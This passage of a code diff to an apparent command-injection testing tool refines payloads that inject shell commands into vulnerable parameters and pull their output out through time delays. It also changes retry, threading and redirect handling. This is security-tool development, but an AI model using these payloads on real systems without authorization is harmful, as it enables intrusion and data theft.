delay to " + str(new_timesec) + " second" + ("s" if new_timesec > 1 else "") + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + # A rejected value may have come from the narrowed set missing the real + # character - escalate to the full range rather than retrying the same guess. + ascii_char = _bisect_chars(force_full=True) + if ascii_char is None: + conn_error_flag = True + break + _note_validation_result(revalidations > 0) + + if ascii_char is not None: + with observed_chars_lock: + observed_chars.add(ascii_char) + observed_count[0] += 1 - return lo if lo >= min_ord else None + return ascii_char, conn_error_flag def _extract_position(num_of_chars): char_pool = checks.generate_char_pool(num_of_chars) @@ -220,51 +556,66 @@ def _extract_position(num_of_chars): payload = payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if (exec_time >= settings.FOUND_EXEC_TIME and exec_time - timesec >= settings.FOUND_DIFF): - return num_of_chars, ascii_char - return num_of_chars, None - - if settings.THREADS <= 1: - return num_of_chars, _bisect_once(num_of_chars, char_pool) - - # Require two consecutive passes to agree before trusting the result. - MAX_ATTEMPTS = 4 - previous = "unset" - for _attempt in range(MAX_ATTEMPTS): - result = _bisect_once(num_of_chars, char_pool) - if result == previous: - return num_of_chars, result - previous = result - return num_of_chars, previous + return num_of_chars, ascii_char, False + return num_of_chars, None, False + + # One bisection per position - the corruption check below catches systematic bias instead. + ascii_char, conn_error_flag = _bisect_once(num_of_chars, char_pool) + return num_of_chars, ascii_char, conn_error_flag positions = list(range(1, int(num_of_chars))) - if settings.THREADS <= 1 or not _THREADS_SUPPORTED: - for pos in positions: - _, ascii_char = _extract_position(pos) - if ascii_char is not None: - output.append(chr(ascii_char)) - _print_progress(pos) + _load_partial_progress() + positions_to_extract = [pos for pos in positions if pos not in results_by_position] + conn_error_positions = set() + # Asked once already in do_time_related_proccess(), before this ever runs. + threaded = settings.THREADS > 1 and _THREADS_SUPPORTED and settings.THREADED_TIME_RETRIEVAL_CHOICE != False + if not threaded: + try: + for pos in positions_to_extract: + _, ascii_char, conn_error_flag = _extract_position(pos) + results_by_position[pos] = ascii_char + if conn_error_flag: + conn_error_positions.add(pos) + if ascii_char is not None: + _print_progress() + except (KeyboardInterrupt, SystemExit): + _save_progress() + raise else: - # Extract positions concurrently. - results_by_position = {} - completed = 0 - executor = concurrent.futures.ThreadPoolExecutor(max_workers=settings.THREADS) + # Extract positions concurrently - never more workers than positions to fill. + num_workers = min(settings.THREADS, len(positions_to_extract)) or 1 + executor = concurrent.futures.ThreadPoolExecutor(max_workers=num_workers) try: - futures = {executor.submit(_extract_position, pos): pos for pos in positions} + futures = {executor.submit(_extract_position, pos): pos for pos in positions_to_extract} for future in concurrent.futures.as_completed(futures): - pos, ascii_char = future.result() + pos, ascii_char, conn_error_flag = future.result() results_by_position[pos] = ascii_char - completed += 1 + if conn_error_flag: + conn_error_positions.add(pos) if ascii_char is not None: - _print_progress(completed) + _print_progress() except (KeyboardInterrupt, SystemExit) as exc: + # _abort_executor() below hard-exits the process - save must happen first. + _save_progress() _abort_executor(executor, exc) else: executor.shutdown(wait=True) - # Assemble in position order. - for pos in positions: - ascii_char = results_by_position.get(pos) - if ascii_char is not None: - output.append(chr(ascii_char)) + # Assemble in position order - covers positions resolved just now as well as + # any pre-seeded by _load_partial_progress(). + for pos in positions: + ascii_char = results_by_position.get(pos) + if ascii_char is not None: + output.append(chr(ascii_char)) + + # Severe instability converges on the pool's upper bound, coincides with a visible + # connection error, or the connection was already confirmed too laggy to trust. + boundary_char = chr(max(settings.CHAR_POOL_MULTI)) + if output.count(boundary_char) >= 2 or conn_error_positions or lagging_detected: + if threaded: + warn_msg = "The extracted data may be corrupted by concurrent (threaded) requests overloading the target. Consider re-running with '--threads=1' to confirm it." + else: + warn_msg = "The extracted data may be corrupted due to connection instability with the target. Consider re-running to confirm it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) check_end = time.time() check_exec_time = int(check_end - check_start) @@ -337,7 +688,7 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques """ False-positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None): if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.blind.techniques.time_based import tb_payloads as payloads @@ -357,73 +708,67 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - found_chars = False checks.check_for_false_positive_result(false_positive_warning) # Varying the sleep time. if false_positive_warning: timesec = timesec + random.randint(3, 5) - # Checking the output length of the used payload. + # The verified value is always a single digit (see handler.py's randv1/randv2 ranges), so its output length is always 1. + output_length = 1 if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") - for output_length in range(1, 3): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - # Execute shell commands on vulnerable host. - if alter_shell : - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) - else: - payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method) else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) - else: - payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + payload = payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.cmd_execution(separator, cmd, output_length, timesec, http_request_method) + else: + payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) + + # Accept on the first delay seen across a bounded number of tries. + def _retry_confirm(payload): + nonlocal exec_time, vuln_parameter, prefix, suffix + for attempt in range(settings.FALSE_POSITIVE_RETRIES): + before = settings.TOTAL_OF_REQUESTS + # Discard the returned payload - prefixes() re-prepends onto it, so feeding it + # back in would compound the prefix by one more "prefix" on every retry. + exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if stability.request_was_retried(before): + continue + if checks.time_related_shell(url_time_response, exec_time, timesec): + return True + checks.record_baseline_response_time(exec_time) + return False - exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): - found_chars = True - break + found_chars = _retry_confirm(payload) - if found_chars == True : + if found_chars: if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd - num_of_chars = output_length + 1 - check_start = 0 - check_end = 0 - check_start = time.time() output = [] - percent = 0 - - is_valid = False - for num_of_chars in range(1, int(num_of_chars)): - for ascii_char in range(1, 20): - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(".") - if alter_shell: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method) + # The verified value is always in 1-7 (see handler.py's randv1/randv2 ranges). + for ascii_char in range(1, 8): + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if alter_shell: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.fp_result_alter_shell(separator, cmd, 1, ascii_char, timesec, http_request_method) else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - payload = payloads.fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method) - else: - payload = payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) - exec_time, vuln_parameter, payload, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) - if (exec_time >= settings.FOUND_EXEC_TIME) and (exec_time - timesec >= settings.FOUND_DIFF): - output.append(ascii_char) - is_valid = True - break - - if is_valid: - break + payload = payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, 1, ascii_char, timesec, http_request_method) + else: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payload = payloads.fp_result(separator, cmd, 1, ascii_char, timesec, http_request_method) + else: + payload = payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method) + if _retry_confirm(payload): + output.append(ascii_char) + break - check_end = time.time() - check_exec_time = int(check_end - check_start) output = "".join(str(p) for p in output) if str(output) == str(randvcalc): @@ -431,11 +776,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese settings.print_data_to_stdout(" (done)") return exec_time, output else: - checks.unexploitable_point() + checks.unexploitable_point(retry_attempt, retry_total) return exec_time, "" else: - checks.unexploitable_point() + checks.unexploitable_point(retry_attempt, retry_total) return exec_time, "" """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 3bf49d07c4..661bc0aa63 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -36,7 +36,6 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time settings.WEB_ROOT = "" # Check if attack is based on time delays. if not settings.TIME_RELATED_ATTACK : - checks.time_related_attaks_msg() settings.TIME_RELATED_ATTACK = True injection_type = settings.INJECTION_TYPE.SEMI_BLIND diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 5a6405461e..93fd9e01f2 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -34,7 +34,7 @@ def select_output_filename(technique, tmp_path, TAG, prompt=True): """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique): - return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None): + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total) # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 1e236eaf16..1fd562d7ed 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -77,11 +77,11 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" + # Keep the leading pipe and "||" syntax; run the length check pipe-free in a subshell. payload = (pipe + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + - pipe + "wc -c) ] " + separator + + "[ " + str(j) + " -ne $(" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + ";" + + "echo ${#" + settings.RANDOM_VAR_GENERATOR + "}) ] " + separator + "sleep " + str(timesec) ) else: @@ -162,7 +162,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque """ Execute shell commands on vulnerable host. """ -def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): +def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-le"): if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -204,12 +204,15 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth if separator in (";", "%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '" + settings.END_LINE.ESCAPED_LF + "' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $" + settings.RANDOM_VAR_GENERATOR + " > " + OUTPUT_TEXTFILE + separator + + # Quoted - an unquoted "$VAR" here word-splits on internal whitespace, + # collapsing runs of spaces/tabs in the command's real output. + "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\" > " + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - "if [ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + + # Use -le for bisection; rewrite the payload each time to keep repeated matches harmless. + "if [ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + # "then sleep 0 " + separator + "then sleep " + str(timesec) + separator + # Transform to ASCII @@ -223,12 +226,13 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth payload = (ampersand + "sleep 0 " + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '" + settings.END_LINE.ESCAPED_LF + "' <" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "echo $" + settings.RANDOM_VAR_GENERATOR + "" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + + "echo \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. #settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - "[ " + str(j) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + + # -le (not -eq) makes this bisectable like time-based's length check. + "[ " + str(j) + " " + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + "sleep " + str(timesec) + separator + # Transform to ASCII settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -241,8 +245,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth cmd = checks.add_command_substitution(cmd) payload = (pipe + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + pipe + - "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c) ]" + separator + + "[ " + str(j) + " -ne $(" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + ";" + + "echo ${#" + settings.RANDOM_VAR_GENERATOR + "}) ]" + separator + "sleep " + str(timesec) ) else: @@ -326,14 +330,16 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ """ Get the execution output, of shell execution. """ -def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): +def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + # Use bisection by default; validation re-probes the resolved value with equality. + win_operator = "GEQ" if operator == "-le" else "EQU" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + - "do if %i GEQ " + str(ascii_char) + settings.SINGLE_WHITESPACE + + "do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == _urllib.parse.quote("&&") : @@ -342,7 +348,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE + - "do if %i GEQ " + str(ascii_char) + settings.SINGLE_WHITESPACE + + "do if %i " + win_operator + settings.SINGLE_WHITESPACE + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) else: @@ -352,7 +358,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (separator + # Use space as delimiter settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(ascii_char) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + + "if [ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + # "then sleep 0" + separator + "then sleep " + str(timesec) + separator + "fi" @@ -364,19 +370,19 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http "sleep 0" + separator + # Use space as delimiter settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + - "[ " + str(ascii_char) + " -le ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + " ${" + settings.RANDOM_VAR_GENERATOR + "} ] " + separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) elif separator == "||" : pipe = "|" + # Keep the leading pipe syntax; run extraction pipe-free in a self-contained subshell. + qmarks = "?" * (num_of_chars - 1) payload = (pipe + - "[ " + str(ascii_char) + " -gt " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + - pipe + "cut -c " + str(num_of_chars) + - pipe + "od -N 1 -i" + - pipe + "head -1" + - pipe + "awk '{print$2}') ] " + separator + + "[ " + str(ascii_char) + " -gt $(" + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + ";" + + settings.RANDOM_VAR_GENERATOR + "=${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "};" + + settings.RANDOM_VAR_GENERATOR + "=${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"};" + + "printf '%d' \"'${" + settings.RANDOM_VAR_GENERATOR + "}\") ] " + separator + "sleep " + str(timesec) ) else: diff --git a/src/core/main.py b/src/core/main.py index 7ade3eee37..1c471075fe 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -16,6 +16,7 @@ import re import os import sys +import time import random from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines @@ -199,6 +200,12 @@ def perform_init_request(url, http_request_method): headers.do_check(request) return request + def redirect_probe_request(url, http_request_method): + # Redirect detection doesn't need the (possibly slow) POST body. + request = _urllib.request.Request(url, method=http_request_method) + headers.do_check(request) + return request + if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP timeout." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -223,11 +230,11 @@ def perform_init_request(url, http_request_method): opener = _urllib.request.build_opener(redirection.RedirectHandler()) # Install globally so later bare urlopen() calls respect it too. _urllib.request.install_opener(opener) - request = perform_init_request(url, http_request_method) - response = opener.open(request, timeout=settings.TIMEOUT) + probe_request = redirect_probe_request(url, http_request_method) + response = opener.open(probe_request, timeout=settings.TIMEOUT) if response.geturl() != url: redirect_url = response.geturl() - + except _urllib.error.HTTPError as e: _ = True redirect_url = e.geturl() @@ -236,11 +243,13 @@ def perform_init_request(url, http_request_method): requests.request_failed(err_msg) if redirect_url and redirect_url != url and settings.FOLLOW_REDIRECT: - redirect_url = redirection.do_check(request, url, redirect_url, http_request_method) + redirect_url = redirection.do_check(probe_request, url, redirect_url, http_request_method) if redirect_url is not None and settings.FOLLOW_REDIRECT: if _: url = redirect_url - request = perform_init_request(redirect_url, http_request_method) + + # Build the real request (full data) now that the final URL is known. + request = perform_init_request(url, http_request_method) # Define HTTP headers defined_http_headers(url) @@ -266,19 +275,34 @@ def url_response(url, http_request_method): # Check if http / https url = checks.check_http_s(url) request, url = init_request(url, http_request_method) - response = examine_request(request, url) + # Cache clean-request timing to avoid repeating the measurement, resetting it first to prevent stale values. + settings.INIT_CONNECTION_TIME = None + settings.INIT_CONNECTION_FETCH_TIME = None + settings.INIT_CONNECTION_URL = None + + # Piggyback the WAF probe on the same request to avoid an extra round-trip. + conn_request, conn_url = request, url + do_waf = not menu.options.skip_waf + if do_waf: + settings.COOKIE_INJECTION = None + conn_request, conn_url = checks.check_waf(url, http_request_method) + settings.WAF_DETECTION_PHASE = True + + _conn_start = time.time() + response = examine_request(conn_request, conn_url) + if do_waf: + settings.WAF_DETECTION_PHASE = False + if response is not False and response is not None: + _conn_end = time.time() + settings.INIT_CONNECTION_TIME = _conn_end - _conn_start + settings.INIT_CONNECTION_FETCH_TIME = _conn_end + settings.INIT_CONNECTION_URL = conn_url settings.TARGET_URL = _urllib.parse.urlparse(url).hostname if settings.MULTI_TARGETS or settings.CRAWLING: settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 - if not menu.options.skip_waf: - settings.COOKIE_INJECTION = None - settings.WAF_DETECTION_PHASE = True - waf_request, waf_url = checks.check_waf(url, http_request_method) - examine_request(waf_request, waf_url) - settings.WAF_DETECTION_PHASE = False return response, url """ @@ -568,7 +592,7 @@ def main(filename, url, http_request_method): info_msg = "Performing heuristic (passive) tests on the target URL." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) if settings.VERBOSITY_LEVEL != 0: - requests.is_url_content_stable(url) + requests.is_url_content_stable(settings.INIT_CONNECTION_URL or url, response, settings.INIT_CONNECTION_FETCH_TIME) # Webpage encoding detection. requests.encoding_detection(response) # Procedure for target server identification. diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 598ad262b8..02d7bf958d 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -40,6 +40,7 @@ from src.utils import settings from src.core.injections.controller import checks from src.core.requests import redirection +from src.core.requests import stability from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import urllib as _urllib @@ -196,7 +197,7 @@ def https_open(self, req): _ = False response = False unauthorized = False - while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: + while stability.should_keep_retrying(_, unauthorized): if any((settings.REVERSE_TCP, settings.BIND_TCP)): _ = True if settings.MULTI_TARGETS: @@ -208,11 +209,11 @@ def https_open(self, req): response = opener.open(request, timeout=settings.TIMEOUT) _ = True with settings.REQUESTS_LOCK: - settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 + stability.expand_retry_budget() if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ (settings.INIT_TEST == True and settings.MULTI_TARGETS): - if settings.VALID_URL == False: - settings.VALID_URL = True + if not settings.VALID_URL: + stability.mark_url_valid() if not settings.CHECK_INTERNET: settings.INIT_TEST = False @@ -233,10 +234,10 @@ def https_open(self, req): if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True with settings.REQUESTS_LOCK: - settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS + stability.freeze_retry_budget() else: with settings.REQUESTS_LOCK: - settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 + stability.expand_retry_budget() if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break @@ -248,86 +249,97 @@ def https_open(self, req): checks.connection_exceptions(err_msg) break - try: - if response is False: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - # Make .read() idempotent so callers can safely reuse this response. - _raw_body = response.read() - response.read = (lambda _b: lambda *a, **kw: _b)(_raw_body) - code = response.getcode() - response_headers = response.info() - page = checks.process_page_content(response, action="encode") - response_headers[settings.URI_HTTP_HEADER] = response.geturl() - response_headers = str(response_headers).strip(settings.END_LINE.LF) - # Handle server-set cookies. - if not menu.options.drop_set_cookie: - checks.handle_server_cookies(response) - print_http_response(response_headers, code, page) - # Checks regarding a potential CAPTCHA protection mechanism. - checks.captcha_check(page) - # Checks regarding a potential browser verification protection mechanism. - checks.browser_verification(page) - # Checks regarding recognition of generic "your ip has been blocked" messages. - checks.blocked_ip(page) - return response - - # This is useful when handling exotic HTTP errors (i.e requests for authentication). - except _urllib.error.HTTPError as err: - if not menu.options.drop_set_cookie: - checks.handle_server_cookies(err) + while True: try: - if getattr(err, 'fp', None) is None: - raise AttributeError - page = checks.process_page_content(err, action="encode") - except Exception: - page = '' - response_headers = err.info() - code = err.code - print_http_response(response_headers, code, page) - - if (not settings.PERFORM_CRACKING and \ - not settings.IS_JSON and \ - not settings.IS_XML and \ - not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ - not str(err.code) == settings.BAD_REQUEST and \ - not settings.CRAWLED_URLS_NUM != 0 and \ - not settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Check for 3xx, 4xx, 5xx HTTP error codes. - if str(err.code).startswith(('3', '4', '5')): - settings.HTTP_ERROR_CODES_SUM.append(err.code) - if settings.VERBOSITY_LEVEL >= 2: + if response is False: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + # Make .read() idempotent so callers can safely reuse this response. + _raw_body = response.read() + response.read = (lambda _b: lambda *a, **kw: _b)(_raw_body) + code = response.getcode() + response_headers = response.info() + page = checks.process_page_content(response, action="encode") + response_headers[settings.URI_HTTP_HEADER] = response.geturl() + response_headers = str(response_headers).strip(settings.END_LINE.LF) + # Handle server-set cookies. + if not menu.options.drop_set_cookie: + checks.handle_server_cookies(response) + print_http_response(response_headers, code, page) + # Checks regarding a potential CAPTCHA protection mechanism. + checks.captcha_check(page) + # Checks regarding a potential browser verification protection mechanism. + checks.browser_verification(page) + # Checks regarding recognition of generic "your ip has been blocked" messages. + checks.blocked_ip(page) + stability.reset_connection_error_budget() + return response + + # This is useful when handling exotic HTTP errors (i.e requests for authentication). + except _urllib.error.HTTPError as err: + if not menu.options.drop_set_cookie: + checks.handle_server_cookies(err) + try: + if getattr(err, 'fp', None) is None: + raise AttributeError + page = checks.process_page_content(err, action="encode") + except Exception: + page = '' + response_headers = err.info() + code = err.code + print_http_response(response_headers, code, page) + + if (not settings.PERFORM_CRACKING and \ + not settings.IS_JSON and \ + not settings.IS_XML and \ + not str(err.code) == settings.INTERNAL_SERVER_ERROR and \ + not str(err.code) == settings.BAD_REQUEST and \ + not settings.CRAWLED_URLS_NUM != 0 and \ + not 